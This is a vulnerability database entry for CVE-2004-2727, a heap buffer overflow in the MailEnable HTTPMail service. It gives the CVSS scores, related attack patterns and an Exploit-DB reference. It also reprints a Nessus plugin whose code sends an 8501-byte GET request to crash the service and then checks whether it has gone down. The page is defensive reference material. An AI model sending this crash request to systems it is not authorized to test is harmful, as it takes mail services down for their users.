Vulnerabilities > CVE-2004-2727 - Buffer Errors vulnerability in Mailenable 1.5/1.6/1.7

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
mailenable
CWE-119
nessus
exploit available
NVD
Published: 2004-12-31
Updated: 2017-07-29

Summary

Buffer overflow in MEHTTPS (HTTPMail) of MailEnable Professional 1.5 through 1.7 allows remote attackers to cause a denial of service (application crash) via a long HTTP GET request.

Vulnerable Configurations

Part Description Count
Application
Mailenable
3

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionMailEnable Mail Server HTTPMail 1.x Remote Heap Overflow Vulnerability. CVE-2004-2727. Dos exploit for windows platform
idEDB-ID:24103
last seen2016-02-02
modified2004-05-09
published2004-05-09
reporterBehrang Fouladi
sourcehttps://www.exploit-db.com/download/24103/
titleMailEnable Mail Server HTTPMail 1.x - Remote Heap Overflow Vulnerability

Nessus

NASL familyCGI abuses
NASL idMAILENABLE_HTTPMAIL_GET_OVERFLOW.NASL
descriptionThe target is running at least one instance of MailEnable that has a flaw in the HTTPMail service (MEHTTPS.exe) in the Professional and Enterprise Editions. The flaw can be exploited by issuing an HTTP request exceeding 4045 bytes (8500 if logging is disabled), which causes a heap-based buffer overflow, crashing the HTTPMail service and possibly allowing for arbitrary code execution.
last seen2020-06-01
modified2020-06-02
plugin id14656
published2004-09-03
reporterThis script is Copyright (C) 2004-2018 George A. Theall
sourcehttps://www.tenable.com/plugins/nessus/14656
titleMailEnable Professional HTTPMail GET Request Remote Overflow
code
#
# This script was written by George A. Theall, <[email protected]>.
#
# See the Nessus Scripts License for details.
#


include("compat.inc");

if (description)
{
  script_id(14656);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2004-2727");
  script_bugtraq_id(10312);

  script_name(english:"MailEnable Professional HTTPMail GET Request Remote Overflow");
  script_summary(english:"Checks for GET Overflow Vulnerability in MailEnable HTTPMail Service");

  script_set_attribute(attribute:"synopsis", value:
"The remote mail server is affected by a remote denial of service
vulnerability." );
  script_set_attribute(attribute:"description", value:
"The target is running at least one instance of MailEnable that has a
flaw in the HTTPMail service (MEHTTPS.exe) in the Professional and
Enterprise Editions.  The flaw can be exploited by issuing an HTTP
request exceeding 4045 bytes (8500 if logging is disabled), which
causes a heap-based buffer overflow, crashing the HTTPMail service and
possibly allowing for arbitrary code execution." );
  script_set_attribute(attribute:"see_also", value:"http://www.hat-squad.com/en/000071.html" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to MailEnable Professional / Enterprise 1.19 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(119);

  script_set_attribute(attribute:"plugin_publication_date", value: "2004/09/03");
  script_set_attribute(attribute:"vuln_publication_date", value: "2004/05/11");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mailenable:mailenable");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_copyright(english:"This script is Copyright (C) 2004-2020 George A. Theall");
  script_family(english:"CGI abuses");
  script_dependencie("global_settings.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80, 8080);
  exit(0);
}

include("global_settings.inc");
include("http_func.inc");

host = get_host_name();
# nb: HTTPMail defaults to 8080 but can run on any port. 
port = 8080;
if (get_port_state(port)) soc = http_open_socket(port);
if (!soc) {
    port = get_http_port(default:80, embedded:TRUE);
    if (get_port_state(port)) soc = http_open_socket(port);
}
if (!soc) {
  exit(0, "cannot determine port for MailEnable's HTTPMail service");
}
http_close_socket(soc);
debug_print("searching for GET Overflow vulnerability in MailEnable HTTPMail Service on ", host, ":", port, ".\n");

# Make sure banner's from MailEnable.
banner = get_http_banner(port:port);
debug_print("banner =>>", banner, "<<.\n");
if (!egrep(pattern:"^Server: .*MailEnable", string:banner))
 exit(0, "The web server on port "+port+" is not MailEnable");

# Try to bring it down.
if (safe_checks() == 0) {
  soc = http_open_socket(port);
  if (soc) {
    req = string(
      # assume logging is disabled.
      "GET /", crap(length:8501, data:"X"), " HTTP/1.0\r\n",
      "\r\n"
    );
    debug_print("sending =>>", req, "<<\n");
    send(socket:soc, data:req);
    res = http_recv(socket:soc);
    http_close_socket(soc);
    if (res) {
      debug_print("res =>>", res, "<<\n");
    }
    else {
     soc = http_open_socket(port);
     if (!soc)
       security_warning(port);
     else
       http_close_socket(soc);

    }
  }
}

References